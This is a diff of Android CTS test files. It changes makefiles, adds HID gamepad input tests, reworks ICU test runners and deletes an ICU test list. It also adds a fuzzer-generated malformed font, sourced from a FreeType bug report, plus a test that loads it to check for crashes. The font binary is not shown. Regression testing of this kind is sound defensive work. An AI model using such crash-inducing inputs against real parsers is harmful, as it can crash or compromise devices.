@@ -22,7 +22,12 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.runner
 
-LOCAL_STATIC_JAVA_LIBRARIES := mockito-target ctsdeviceutil ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    mockito-target \
+    ctsdeviceutil \
+    ctstestrunner \
+    junit \
+    legacy-android-test
 LOCAL_JNI_SHARED_LIBRARIES := libctsgraphics_jni
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/graphics/assets/ft45987.ttf b/tests/tests/graphics/assets/ft45987.ttf
new file mode 100644
index 0000000..369022f
--- /dev/null
+++ b/tests/tests/graphics/assets/ft45987.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/ft45987.ttf.README.txt b/tests/tests/graphics/assets/ft45987.ttf.README.txt
new file mode 100644
index 0000000..7586955
--- /dev/null
+++ b/tests/tests/graphics/assets/ft45987.ttf.README.txt
@@ -0,0 +1,4 @@
+ft45987.ttf was automatically generated by LibFuzzer
+(http://llvm.org/docs/LibFuzzer.html). Its base64 encoded version was taken
+from http://savannah.nongnu.org/bugs/?func=detailitem&item_id=45987 and
+decoded back.
diff --git a/tests/tests/graphics/jni/Android.mk b/tests/tests/graphics/jni/Android.mk
index 8c225a4..dd0d7e4 100644
--- a/tests/tests/graphics/jni/Android.mk
+++ b/tests/tests/graphics/jni/Android.mk
@@ -24,11 +24,7 @@
 	CtsGraphicsJniOnLoad.cpp \
 	android_graphics_cts_VulkanFeaturesTest.cpp
 
-LOCAL_C_INCLUDES := \
-	$(JNI_H_INCLUDE) \
-	external/vulkan-validation-layers/libs/vkjson
-
-LOCAL_STATIC_LIBRARIES := libvkjson
+LOCAL_STATIC_LIBRARIES := libvkjson_ndk
 LOCAL_SHARED_LIBRARIES := libvulkan liblog libdl
 LOCAL_NDK_STL_VARIANT := c++_static
 
diff --git a/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java b/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
index e5a610c..7ac679a 100644
--- a/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
@@ -221,4 +221,9 @@
                 typeface3, typeface4);
     }
 
+    @SmallTest
+    public void testBadFont() {
+        Typeface typeface = Typeface.createFromAsset(getContext().getAssets(), "ft45987.ttf");
+        assertNotNull(typeface);
+    }
 }
diff --git a/tests/tests/graphics2/Android.mk b/tests/tests/graphics2/Android.mk
index daf3713..decc482 100644
--- a/tests/tests/graphics2/Android.mk
+++ b/tests/tests/graphics2/Android.mk
@@ -21,7 +21,7 @@
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/hardware/Android.mk b/tests/tests/hardware/Android.mk
index 9b3969c..69dbe2e 100644
--- a/tests/tests/hardware/Android.mk
+++ b/tests/tests/hardware/Android.mk
@@ -66,8 +66,6 @@
 
 LOCAL_PACKAGE_NAME := CtsHardwareTestCases
 
-LOCAL_CTS_MODULE_CONFIG := $(LOCAL_PATH)/Old$(CTS_MODULE_TEST_CONFIG)
-
 LOCAL_SDK_VERSION := current
 
 LOCAL_JAVA_LIBRARIES := android.test.runner
diff --git a/tests/tests/hardware/OldAndroidTest.xml b/tests/tests/hardware/OldAndroidTest.xml
deleted file mode 100644
index 4ddf28c..0000000
--- a/tests/tests/hardware/OldAndroidTest.xml
+++ /dev/null
@@ -1,22 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Base config for Sensor CTS tests. Put SensorService in restricted mode">
-    <include name="common-config" />
-    <!-- Put SensorService in restricted mode so that only CTS tests will be able to get access to
-    sensors -->
-    <option name="run-command:run-command" value="dumpsys sensorservice restrict .cts." />
-    <option name="run-command:teardown-command" value="dumpsys sensorservice enable" />
-</configuration>
diff --git a/tests/tests/hardware/res/raw/gamepad_press_a.json b/tests/tests/hardware/res/raw/gamepad_press_a.json
new file mode 100644
index 0000000..ff3ca4f
--- /dev/null
+++ b/tests/tests/hardware/res/raw/gamepad_press_a.json
@@ -0,0 +1,39 @@
+{
+    "id": 1,
+    "command": "register",
+    "name": "Odie (Test)",
+    "vid": 0x18d1,
+    "pid": 0x2c40,
+    "descriptor": [0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x85, 0x01, 0x05, 0x09, 0x0a, 0x01, 0x00,
+        0x0a, 0x02, 0x00, 0x0a, 0x04, 0x00, 0x0a, 0x05, 0x00, 0x0a, 0x07, 0x00, 0x0a, 0x08, 0x00,
+        0x0a, 0x0e, 0x00, 0x0a, 0x0f, 0x00, 0x0a, 0x0d, 0x00, 0x05, 0x0c, 0x0a, 0x24, 0x02, 0x0a,
+        0x23, 0x02, 0x15, 0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x0b, 0x81, 0x02, 0x75, 0x01, 0x95,
+        0x01, 0x81, 0x03, 0x05, 0x01, 0x75, 0x04, 0x95, 0x01, 0x25, 0x07, 0x46, 0x3b, 0x01, 0x66,
+        0x14, 0x00, 0x09, 0x39, 0x81, 0x42, 0x66, 0x00, 0x00, 0x09, 0x01, 0xa1, 0x00, 0x09, 0x30,
+        0x09, 0x31, 0x09, 0x32, 0x09, 0x35, 0x05, 0x02, 0x09, 0xc5, 0x09, 0xc4, 0x15, 0x00, 0x26,
+        0xff, 0x00, 0x35, 0x00, 0x46, 0xff, 0x00, 0x75, 0x08, 0x95, 0x06, 0x81, 0x02, 0xc0, 0x85,
+        0x02, 0x05, 0x08, 0x0a, 0x01, 0x00, 0x0a, 0x02, 0x00, 0x0a, 0x03, 0x00, 0x0a, 0x04, 0x00,
+        0x15, 0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x04, 0x91, 0x02, 0x75, 0x04, 0x95, 0x01, 0x91,
+        0x03, 0xc0, 0x05, 0x0c, 0x09, 0x01, 0xa1, 0x01, 0x85, 0x03, 0x05, 0x01, 0x09, 0x06, 0xa1,
+        0x02, 0x05, 0x06, 0x09, 0x20, 0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x01, 0x81,
+        0x02, 0x06, 0xbc, 0xff, 0x0a, 0xad, 0xbd, 0x75, 0x08, 0x95, 0x06, 0x81, 0x02, 0xc0, 0xc0],
+    "report": [0x01, 0x00, 0x80, 0x90, 0x80, 0x7f, 0x73, 0x00, 0x00]
+}
+
+{
+    "id": 1,
+    "command": "report",
+    "report": [0x01, 0x01, 0x80, 0x90, 0x80, 0x7f, 0x73, 0x00, 0x00]
+}
+
+{
+    "id": 1,
+    "command": "delay",
+    "duration": 10
+}
+
+{
+    "id": 1,
+    "command": "report",
+    "report": [0x01, 0x00, 0x80, 0x90, 0x80, 0x7f, 0x73, 0x00, 0x00]
+}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/InputCallback.java b/tests/tests/hardware/src/android/hardware/input/cts/InputCallback.java
new file mode 100644
index 0000000..accdcaf
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/InputCallback.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts;
+
+import android.view.KeyEvent;
+import android.view.MotionEvent;
+
+public interface InputCallback {
+    public void onKeyEvent(KeyEvent ev);
+    public void onMotionEvent(MotionEvent ev);
+}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/InputCtsActivity.java b/tests/tests/hardware/src/android/hardware/input/cts/InputCtsActivity.java
new file mode 100644
index 0000000..b16cadb
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/InputCtsActivity.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts;
+
+import android.app.Activity;
+import android.view.KeyEvent;
+import android.view.MotionEvent;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class InputCtsActivity extends Activity {
+    private InputCallback mInputCallback;
+
+    @Override
+    public boolean dispatchGenericMotionEvent(MotionEvent ev) {
+        if (mInputCallback != null) {
+            mInputCallback.onMotionEvent(ev);
+        }
+        return true;
+    }
+
+    @Override
+    public boolean dispatchTouchEvent(MotionEvent ev) {
+        if (mInputCallback != null) {
+            mInputCallback.onMotionEvent(ev);
+        }
+        return true;
+    }
+
+    @Override
+    public boolean dispatchTrackballEvent(MotionEvent ev) {
+        if (mInputCallback != null) {
+            mInputCallback.onMotionEvent(ev);
+        }
+        return true;
+    }
+
+    @Override
+    public boolean dispatchKeyEvent(KeyEvent ev) {
+        if (mInputCallback != null) {
+            mInputCallback.onKeyEvent(ev);
+        }
+        return true;
+    }
+
+    public void setInputCallback(InputCallback callback) {
+        mInputCallback = callback;
+    }
+}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/GamepadTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/GamepadTestCase.java
new file mode 100644
index 0000000..2a772ae
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/GamepadTestCase.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts.tests;
+
+import android.util.Log;
+import android.view.KeyEvent;
+
+import java.io.Writer;
+import java.util.List;
+
+import android.hardware.cts.R;
+
+public class GamepadTestCase extends InputTestCase {
+    private static final String TAG = "GamepadTests";
+
+    public void testButtonA() throws Exception {
+        sendHidCommands(R.raw.gamepad_press_a);
+        assertReceivedKeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_BUTTON_A);
+        assertReceivedKeyEvent(KeyEvent.ACTION_UP, KeyEvent.KEYCODE_BUTTON_A);
+        assertNoMoreEvents();
+    }
+}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
new file mode 100644
index 0000000..fba5f51
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
@@ -0,0 +1,221 @@
+/*
+ * Copyright 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts.tests;
+
+import android.app.UiAutomation;
+import android.hardware.input.cts.InputCtsActivity;
+import android.hardware.input.cts.InputCallback;
+import android.system.ErrnoException;
+import android.system.Os;
+import android.test.ActivityInstrumentationTestCase2;
+import android.util.Log;
+import android.view.KeyEvent;
+import android.view.MotionEvent;
+
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileWriter;
+import java.io.InputStream;
+import java.io.IOException;
+import java.io.OutputStream;
+import java.io.Writer;
+import java.util.ArrayList;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+import java.util.List;
+import java.util.UUID;
+
+public class InputTestCase extends ActivityInstrumentationTestCase2<InputCtsActivity> {
+    private static final String TAG = "InputTestCase";
+    private static final String HID_EXECUTABLE = "hid";
+    private static final int SHELL_UID = 2000;
+    private static final String[] KEY_ACTIONS = {"DOWN", "UP", "MULTIPLE"};
+
+    private File mFifo;
+    private Writer mWriter;
+
+    private BlockingQueue<KeyEvent> mKeys;
+    private BlockingQueue<MotionEvent> mMotions;
+    private InputListener mInputListener;
+
+    public InputTestCase() {
+        super(InputCtsActivity.class);
+        mKeys = new LinkedBlockingQueue<KeyEvent>();
+        mMotions = new LinkedBlockingQueue<MotionEvent>();
+        mInputListener = new InputListener();
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mFifo = setupFifo();
+        clearKeys();
+        clearMotions();
+        getActivity().setInputCallback(mInputListener);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        if (mFifo != null) {
+            mFifo.delete();
+            mFifo = null;
+        }
+        closeQuietly(mWriter);
+        mWriter = null;
+        super.tearDown();
+    }
+
+    /**
+     * Sends the HID commands designated by the given resource id.
+     * The commands must be in the format expected by the `hid` shell command.
+     *
+     * @param id The resource id from which to load the HID commands. This must be a "raw"
+     * resource.
+     */
+    public void sendHidCommands(int id) {
+        try {
+            Writer w = getWriter();
+            w.write(getEvents(id));
+            w.flush();
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    /**
+     * Asserts that the application received a {@link android.view.KeyEvent} with the given action
+     * and keycode.
+     *
+     * If other KeyEvents are received by the application prior to the expected KeyEvent, or no
+     * KeyEvents are received within a reasonable amount of time, then this will throw an
+     * AssertionFailedError.
+     *
+     * @param action The action to expect on the next KeyEvent
+     * (e.g. {@link android.view.KeyEvent#ACTION_DOWN}).
+     * @param keyCode The expected key code of the next KeyEvent.
+     */
+    public void assertReceivedKeyEvent(int action, int keyCode) {
+        KeyEvent k = waitForKey();
+        if (k == null) {
+            fail("Timed out waiting for " + KeyEvent.keyCodeToString(keyCode)
+                    + " with action " + KEY_ACTIONS[action]);
+            return;
+        }
+        assertEquals(action, k.getAction());
+        assertEquals(keyCode, k.getKeyCode());
+    }
+
+    /**
+     * Asserts that no more events have been received by the application.
+     *
+     * If any more events have been received by the application, this throws an
+     * AssertionFailedError.
+     */
+    public void assertNoMoreEvents() {
+        KeyEvent key;
+        MotionEvent motion;
+        if ((key = mKeys.poll()) != null) {
+            fail("Extraneous key events generated: " + key);
+        }
+        if ((motion = mMotions.poll()) != null) {
+            fail("Extraneous motion events generated: " + motion);
+        }
+    }
+
+    private KeyEvent waitForKey() {
+        try {
+            return mKeys.poll(1, TimeUnit.SECONDS);
+        } catch (InterruptedException e) {
+            return null;
+        }
+    }
+
+    private void clearKeys() {
+        mKeys.clear();
+    }
+
+    private void clearMotions() {
+        mMotions.clear();
+    }
+
+    private File setupFifo() throws ErrnoException {
+        File dir = getActivity().getCacheDir();
+        String filename = dir.getAbsolutePath() + File.separator +  UUID.randomUUID().toString();
+        Os.mkfifo(filename, 0666);
+        File f = new File(filename);
+        return f;
+    }
+
+    private Writer getWriter() throws IOException {
+        if (mWriter == null) {
+            UiAutomation ui = getInstrumentation().getUiAutomation();
+            ui.executeShellCommand("hid " + mFifo.getAbsolutePath());
+            mWriter = new FileWriter(mFifo);
+        }
+        return mWriter;
+    }
+
+    private String getEvents(int id) throws IOException {
+        InputStream is =
+            getInstrumentation().getTargetContext().getResources().openRawResource(id);
+        return readFully(is);
+    }
+
+
+    private static void closeQuietly(AutoCloseable closeable) {
+        if (closeable != null) {
+            try {
+                closeable.close();
+            } catch (RuntimeException rethrown) {
+                throw rethrown;
+            } catch (Exception ignored) { }
+        }
+    }
+
+    private static String readFully(InputStream is) throws IOException {
+        ByteArrayOutputStream baos = new ByteArrayOutputStream();
+        int read = 0;
+        byte[] buffer = new byte[1024];
+        while ((read = is.read(buffer)) >= 0) {
+            baos.write(buffer, 0, read);
+        }
+        return baos.toString();
+    }
+
+    private class InputListener implements InputCallback {
+        public void onKeyEvent(KeyEvent ev) {
+            boolean done = false;
+            do {
+                try {
+                    mKeys.put(new KeyEvent(ev));
+                    done = true;
+                } catch (InterruptedException ignore) { }
+            } while (!done);
+        }
+
+        public void onMotionEvent(MotionEvent ev) {
+            boolean done = false;
+            do {
+                try {
+                    mMotions.put(MotionEvent.obtain(ev));
+                    done = true;
+                } catch (InterruptedException ignore) { }
+            } while (!done);
+        }
+    }
+}
diff --git a/tests/tests/icu/Android.mk b/tests/tests/icu/Android.mk
index 6f183d5..45fed49 100644
--- a/tests/tests/icu/Android.mk
+++ b/tests/tests/icu/Android.mk
@@ -25,7 +25,6 @@
 
 LOCAL_PROGUARD_ENABLED := disabled
 
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_JAVA_RESOURCE_DIRS := resources
 
 # The aim of this package is to run tests against the implementation in use by
@@ -43,38 +42,3 @@
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
 
-# Version 1 of the CTS framework has it's own logic for generating XML files based on scanning the
-# source for test methods and classes written using JUnit 3 (doesn't work for JUnit 4 @RunWith
-# tests). Since the ICU tests are not written using JUnit (although they are run with a custom JUnit
-# RunnerBuilder) this provides an alternative. This generates an XML representation based off a
-# list of the tests that are run by version 2 of the CTS framework (which doesn't require the list
-# in advance). The tools/update-test-list.sh script will take a host_log_[0-9]+.zip created by
-# CTSv1 and extract the list of tests run and update the test-list.txt file.
-
-CTS_ICU_TEST_LIST_PATH := $(LOCAL_PATH)/test-list.txt
-cts_package_xml := $(CTS_TESTCASES_OUT)/CtsIcuTestCases.xml
-$(cts_package_xml): $(HOST_OUT_JAVA_LIBRARIES)/cts-icu-tools.jar $(CTS_ICU_TEST_LIST_PATH) \
-	$(call intermediates-dir-for,APPS,$(LOCAL_PACKAGE_NAME))/package.apk
-	java -Xmx256M -classpath $(HOST_OUT_JAVA_LIBRARIES)/cts-icu-tools.jar \
-		android.icu.cts.tools.GenerateTestCaseXML \
-		$(CTS_ICU_TEST_LIST_PATH) \
-		$(TARGET_ARCH) \
-		$@
-
-# build cts-icu-tools tool
-# ============================================================
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := $(call all-java-files-under, tools)
-LOCAL_JAVA_RESOURCE_DIRS := resources
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-	descGen \
-	jsr305lib
-
-LOCAL_MODULE := cts-icu-tools
-
-include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/tests/tests/icu/AndroidManifest.xml b/tests/tests/icu/AndroidManifest.xml
index 1ecf5c8..1dc0a70 100644
--- a/tests/tests/icu/AndroidManifest.xml
+++ b/tests/tests/icu/AndroidManifest.xml
@@ -22,10 +22,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="com.android.cts.core.runner.CoreTestRunner"
-                     android:targetPackage="android.icu.cts"
-                     android:label="CTS Repackaged ICU4J library tests."/>
-    <instrumentation android:name="android.icu.cts.IcuTestRunnerForCtsV1"
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.icu.cts"
                      android:label="CTS Repackaged ICU4J library tests."/>
 </manifest>
diff --git a/tests/tests/icu/AndroidTest.xml b/tests/tests/icu/AndroidTest.xml
index 769b789..2dc1cb3 100644
--- a/tests/tests/icu/AndroidTest.xml
+++ b/tests/tests/icu/AndroidTest.xml
@@ -17,14 +17,11 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsIcuTestCases.apk" />
     </target_preparer>
-    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <!-- override AJUR -->
-        <option name="runner" value="com.android.cts.core.runner.CoreTestRunner" />
+    <test class="com.android.compatibility.testtype.LibcoreTest" >
         <option name="package" value="android.icu.cts" />
-        <option name="instrumentation-arg" key="core-root-classes"
-                value="android.icu.cts.coverage.TestAll,android.icu.dev.test.TestAll" />
-        <option name="instrumentation-arg" key="core-expectations"
-                value="/android/icu/cts/expectations/icu-known-failures.txt" />
+        <option name="instrumentation-arg" key="filter"
+                value="com.android.cts.core.runner.ExpectationBasedFilter" />
+        <option name="core-expectation" value="/android/icu/cts/expectations/icu-known-failures.txt" />
         <option name="runtime-hint" value="30m19s" />
     </test>
 </configuration>
diff --git a/tests/tests/icu/resources/android/icu/cts/expectations/icu-known-failures.txt b/tests/tests/icu/resources/android/icu/cts/expectations/icu-known-failures.txt
index 9ca52c5..a2e6dc4 100644
--- a/tests/tests/icu/resources/android/icu/cts/expectations/icu-known-failures.txt
+++ b/tests/tests/icu/resources/android/icu/cts/expectations/icu-known-failures.txt
@@ -11,45 +11,16 @@
 },
 */
 {
-  description: "Class cannot be instantiated, cannot find resources android/icu/dev/test/serializable/data",
-  name: "android.icu.dev.test.serializable.CompatibilityTest",
-  bug: "27310873"
-},
-{
-  description: "Cannot find any classes to test because .class files are not treated as resources in APK",
-  name: "android.icu.dev.test.serializable.CoverageTest",
-  bug: "27666677"
-},
-{
   description: "Serialized forms have not been converted to use repackaged classes",
   name: "android.icu.dev.test.format.NumberFormatRegressionTest#TestSerialization",
   bug: "27374606"
 },
 {
-  description: "android.icu.charset package not available in repackaged Android library",
-  name: "android.icu.dev.test.charset.TestAll",
-  bug: "27373370"
-},
-{
-  description: "A completely empty test case",
-  name: "android.icu.dev.test.duration.PeriodBuilderTest"
-},
-{
   description: "Fails on host and on device in same way before and after packaging",
   name: "android.icu.dev.test.bidi.TestCompatibility#testCompatibility",
   bug: "23995372"
 },
 {
-  description: "Problem with negative multiplier, not a regression",
-  name: "android.icu.dev.test.format.NumberFormatTest#TestNonpositiveMultiplier",
-  bug: "19185440"
-},
-{
-  description: "Wrong case for exponent separator",
-  name: "android.icu.dev.test.format.PluralRulesTest#testOverUnderflow",
-  bug: "27566754"
-},
-{
   description: "Checks differences in DecimalFormat classes from ICU4J and JDK but on Android java.text.DecimalFormat is implemented in terms of ICU4J",
   name: "android.icu.dev.test.format.NumberFormatTest#TestDataDrivenJDK",
   bug: "27711713"
@@ -65,5 +36,10 @@
     "android.icu.dev.test.collator.G7CollationTest#TestG7Data"
   ],
   bug: "27552651"
+},
+{
+  description: "Unknown Language != Unknown language",
+  name: "android.icu.dev.test.TestLocaleNamePackaging#testLanguageDisplayNames",
+  bug: "33447162"
 }
 ]
diff --git a/tests/tests/icu/src/android/icu/cts/IcuTestRunnerForCtsV1.java b/tests/tests/icu/src/android/icu/cts/IcuTestRunnerForCtsV1.java
deleted file mode 100644
index 2a8d7b3..0000000
--- a/tests/tests/icu/src/android/icu/cts/IcuTestRunnerForCtsV1.java
+++ /dev/null
@@ -1,47 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.icu.cts;
-
-import android.os.Bundle;
-import com.android.cts.core.runner.CoreTestRunner;
-import java.util.Arrays;
-import java.util.Collections;
-import java.util.List;
-
-/**
- * Customize {@link CoreTestRunner} to hard code information in the runner.
- *
- * <p>CTSv2 allows parameters to be specified in the AndroidTest.xml file but CTSv1 does not so
- * they have to be hard coded into the runner itself.
- */
-public final class IcuTestRunnerForCtsV1 extends CoreTestRunner {
-
-    private static final List<String> EXPECTATIONS_PATHS =
-            Collections.singletonList("expectations/icu-known-failures.txt");
-
-    @Override
-    protected List<String> getExpectationResourcePaths(Bundle args) {
-        return EXPECTATIONS_PATHS;
-    }
-
-    @Override
-    protected List<String> getRootClassNames(Bundle args) {
-        return Arrays.asList(
-                "android.icu.cts.coverage.TestAll",
-                "android.icu.dev.test.TestAll");
-    }
-}
diff --git a/tests/tests/icu/test-list.txt b/tests/tests/icu/test-list.txt
deleted file mode 100644
index cd47a76..0000000
--- a/tests/tests/icu/test-list.txt
+++ /dev/null
@@ -1,2253 +0,0 @@
-android.icu.cts.coverage.lang.UCharacterTest#testNameAliasing
-android.icu.cts.coverage.lang.UCharacterTest#testToTitleCase_Locale_String_BreakIterator_I
-android.icu.cts.coverage.lang.UCharacterTest#testToTitleCase_String_BreakIterator_en
-android.icu.cts.coverage.lang.UCharacterTest#testToTitleCase_String_BreakIterator_nl
-android.icu.cts.coverage.text.AlphabeticIndexTest#testAddLabels_Locale
-android.icu.cts.coverage.text.AlphabeticIndexTest#testFlowLabels
-android.icu.cts.coverage.text.AlphabeticIndexTest#testGetRecordCount_empty
-android.icu.cts.coverage.text.AlphabeticIndexTest#testGetRecordCount_withRecords
-android.icu.cts.coverage.text.DateFormatSymbolsTest#testSetEraNames_defensivelyCopies
-android.icu.cts.coverage.text.DateFormatSymbolsTest#testYearNames_defensivelyCopies
-android.icu.cts.coverage.text.DateIntervalFormatTest#testGetInstance_String_DateIntervalInfo
-android.icu.cts.coverage.text.DateIntervalFormatTest#testGetInstance_String_Locale_DateIntervalInfo
-android.icu.cts.coverage.text.DateIntervalFormatTest#testParseObject_notSupported
-android.icu.cts.coverage.text.LocaleDisplayNamesTest#testGetInstance
-android.icu.cts.coverage.text.LocaleDisplayNamesTest#testGetLocale
-android.icu.cts.coverage.text.LocaleDisplayNamesTest#testKeyDisplayName
-android.icu.cts.coverage.text.LocaleDisplayNamesTest#testKeyValueDisplayName
-android.icu.cts.coverage.text.LocaleDisplayNamesTest#testLocaleDisplayName
-android.icu.cts.coverage.text.LocaleDisplayNamesTest#testScriptDisplayName_Int
-android.icu.cts.coverage.text.LocaleDisplayNamesTest#testScriptDisplayName_String
-android.icu.cts.coverage.text.LocaleDisplayNamesTest#testVariantDisplayName
-android.icu.cts.coverage.text.RelativeDateTimeFormatterTest#testGetInstance
-android.icu.cts.coverage.text.TimeZoneNamesTest#testGetAvailableMetaZoneIDs
-android.icu.cts.coverage.text.TimeZoneNamesTest#testGetAvailableMetaZoneIDs_String
-android.icu.cts.coverage.text.TimeZoneNamesTest#testGetInstance_Locale
-android.icu.cts.coverage.text.TimeZoneNamesTest#testGetMetaZoneDisplayName
-android.icu.cts.coverage.text.TimeZoneNamesTest#testGetMetaZoneID
-android.icu.cts.coverage.text.TimeZoneNamesTest#testGetTimeZoneDisplayName
-android.icu.cts.coverage.text.UnicodeSetTest#testAddAll_CharacterSequences
-android.icu.cts.coverage.text.UnicodeSetTest#testCompareTo
-android.icu.cts.coverage.util.CurrencyTest#testGetDefaultFractionDigits_CurrencyUsage
-android.icu.cts.coverage.util.CurrencyTest#testGetName_Locale_Int_String_BooleanArray
-android.icu.cts.coverage.util.CurrencyTest#testGetRoundingIncrement
-android.icu.cts.coverage.util.CurrencyTest#testGetRoundingIncrement_CurrencyUsage
-android.icu.dev.test.bidi.BiDiConformanceTest#TestBidiCharacterTest
-android.icu.dev.test.bidi.BiDiConformanceTest#TestBidiTest
-android.icu.dev.test.bidi.TestBidi#testBidi
-android.icu.dev.test.bidi.TestCharFromDirProp#testCharFromDirProp
-android.icu.dev.test.bidi.TestClassOverride#testClassOverride
-android.icu.dev.test.bidi.TestContext#testContext
-android.icu.dev.test.bidi.TestFailureRecovery#testFailureRecovery
-android.icu.dev.test.bidi.TestInverse#testInverse
-android.icu.dev.test.bidi.TestMultipleParagraphs#testMultipleParagraphs
-android.icu.dev.test.bidi.TestReorderArabicMathSymbols#testReorderArabicMathSymbols
-android.icu.dev.test.bidi.TestReorderingMode#testReorderingMode
-android.icu.dev.test.bidi.TestReorderRunsOnly#testReorderRunsOnly
-android.icu.dev.test.bidi.TestReorder#testReorder
-android.icu.dev.test.bidi.TestStreaming#testStreaming
-android.icu.dev.test.bigdec.DiagBigDecimal#TestBigDecimal
-android.icu.dev.test.calendar.AstroTest#TestBasics
-android.icu.dev.test.calendar.AstroTest#TestCoordinates
-android.icu.dev.test.calendar.AstroTest#TestCoverage
-android.icu.dev.test.calendar.AstroTest#TestLunarPosition
-android.icu.dev.test.calendar.AstroTest#TestMoonAge
-android.icu.dev.test.calendar.AstroTest#TestSolarLongitude
-android.icu.dev.test.calendar.AstroTest#TestSunriseTimes
-android.icu.dev.test.calendar.CalendarRegression#Test4031502
-android.icu.dev.test.calendar.CalendarRegression#Test4035301
